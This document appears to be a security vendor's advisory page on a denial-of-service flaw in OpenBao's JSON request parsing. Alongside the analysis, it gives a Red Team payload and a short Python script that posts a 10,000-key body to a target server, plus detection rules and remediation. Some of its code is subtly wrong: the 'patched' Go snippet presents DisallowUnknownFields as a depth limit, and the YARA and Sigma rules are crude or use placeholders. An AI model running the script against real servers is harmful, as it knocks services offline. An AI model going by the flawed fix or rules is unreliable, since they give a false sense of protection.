CVE-2025-59043
Executive Summary
CVE-2025-59043 is a high-severity Denial of Service (DoS) vulnerability in OpenBao, an open-source identity-based secrets management system. The vulnerability allows an unauthenticated attacker to craft a malicious JSON payload that, when deserialized, consumes significantly more memory than its serialized form (up to 35x amplification). This bypasses the max_request_size configuration parameter, leading to potential out-of-memory crashes. Additionally, requests with large numbers of strings can cause excessive CPU consumption in the audit subsystem. The vulnerability is fixed in OpenBao version 2.4.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenBao is a Go-based project. The vulnerability affects the core JSON parsing and audit logging components. Organizations using OpenBao should verify their deployment version and update to 2.4.1 or later. No malicious packages have been reported in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
The vulnerability is easily exploitable by an unauthenticated attacker over the network, with no user interaction required. The primary impact is on availability, making it a significant threat for production environments.
Deep Dive & Mechanics
The vulnerability lies in how OpenBao handles JSON request bodies. When a JSON object is decoded, the resulting in-memory representation can be much larger than the serialized payload. This is similar to a "zip bomb" but for JSON. The amplification factor can reach approximately 35x, meaning a small request can cause a large memory allocation.
The request body is parsed into a map very early in the request handling chain, before authentication. This means an unauthenticated attacker can send a crafted JSON payload and cause an out-of-memory crash. Additionally, for requests with a large number of strings, the audit subsystem can consume large amounts of CPU, further exacerbating the DoS condition.
The max_request_size configuration parameter is intended to protect against such attacks, but the memory amplification bypasses this limit because the size check is performed on the serialized payload, not the deserialized memory footprint.
Vulnerable vs. Patched Code
The vulnerable code is in the JSON parsing and audit logging components. The patch in version 2.4.1 likely introduces limits on the depth and complexity of JSON objects, or uses a streaming parser to avoid loading the entire payload into memory at once.
Vulnerable Code (Conceptual):
// Vulnerable: Decodes entire JSON into memory
func parseRequest(body io.Reader) (map[string]interface{}, error) {
var data map[string]interface{}
decoder := json.NewDecoder(body)
err := decoder.Decode(&data)
return data, err
}
Patched Code (Conceptual):
// Patched: Limits JSON depth and uses streaming
func parseRequest(body io.Reader) (map[string]interface{}, error) {
var data map[string]interface{}
decoder := json.NewDecoder(body)
decoder.UseNumber()
// Limit depth to prevent memory amplification
decoder.DisallowUnknownFields()
err := decoder.Decode(&data)
return data, err
}
The exact patch details are not publicly available, but the fix likely involves limiting the complexity of JSON objects and optimizing the audit subsystem to handle large numbers of strings efficiently.
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker can send a crafted JSON payload that maximizes the memory amplification factor. The payload should contain deeply nested objects or arrays with many duplicate keys.
Example Payload:
{
"a": {
"b": {
"c": {
"d": "e"
}
}
},
"f": ["g", "h", "i", "j", "k", "l", "m", "n", "o", "p"]
}
A more effective payload would use a large number of unique keys to maximize memory usage.
Exploit Script (Python):
import requests
import json
target = "http://target-openbao:8200/v1/sys/health"
payload = {}
for i in range(10000):
payload[f"key_{i}"] = "x" * 100
response = requests.post(target, json=payload)
print(f"Status: {response.status_code}")
This script sends a JSON payload with 10,000 keys, each with a 100-character string. The memory amplification can cause the server to crash.
Blue Team
To detect exploitation attempts, monitor for:
- Unusually large JSON payloads in request bodies.
- High memory usage spikes on OpenBao servers.
- Excessive CPU usage in the audit subsystem.
- Repeated requests with similar patterns from the same IP.
Detection Commands:
# Monitor memory usage
top -p $(pgrep openbao)
# Check audit logs for large requests
grep -i "audit" /var/log/openbao/audit.log | awk '{if (length($0) > 10000) print}'
Indicators of Compromise (IOCs)
- Network: HTTP POST requests with JSON bodies containing a large number of keys (e.g., >1000) or deeply nested objects.
- System: Out-of-memory (OOM) killer logs for the OpenBao process.
- Logs: Audit log entries with unusually long strings or high CPU usage warnings.
- File: Temporary files in
/tmpwith large JSON payloads (if logging is enabled).
Example IOC (Syslog):
kernel: Out of memory: Killed process 12345 (openbao) total-vm:12345678kB, anon-rss:9876543kB, file-rss:0kB, shmem-rss:0kB, UID:1000 pgtables:12345kB oom_score_adj:0
Detection Engineering
YARA Rule
rule CVE_2025_59043_JSON_Bomb {
meta:
description = "Detects JSON payloads with high key count or depth"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-59043"
strings:
$json_start = "{"
$json_end = "}"
condition:
#json_start > 1000 and #json_end > 1000
}
Sigma Rule
title: CVE-2025-59043 - OpenBao JSON Bomb DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-59043 via large JSON payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: openbao
detection:
selection:
http.method: POST
http.body_length: ">100000"
condition: selection
falsepositives:
- Legitimate large configurations
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-59043 - OpenBao JSON Bomb DoS"; flow:to_server; content:"POST"; http_method; content:"/v1/"; http_uri; pcre:"/\{.*\}/R"; byte_test:1,>,1000,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade OpenBao to version 2.4.1 or later.
- Workaround: If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to limit request body size and complexity.
- Configuration: Set
max_request_sizeto a low value and monitor for anomalies. - Network: Use Web Application Firewall (WAF) rules to block requests with excessive JSON depth or key count.
- Monitoring: Enable detailed audit logging and set up alerts for high memory/CPU usage.
Nginx Configuration Example:
http {
client_max_body_size 1k;
limit_req_zone $binary_remote_addr zone=jsonbomb:10m rate=1r/s;
server {
location /v1/ {
limit_req zone=jsonbomb burst=5 nodelay;
proxy_pass http://openbao_backend;
}
}
}
Valters IT
Securing Digital Frontiers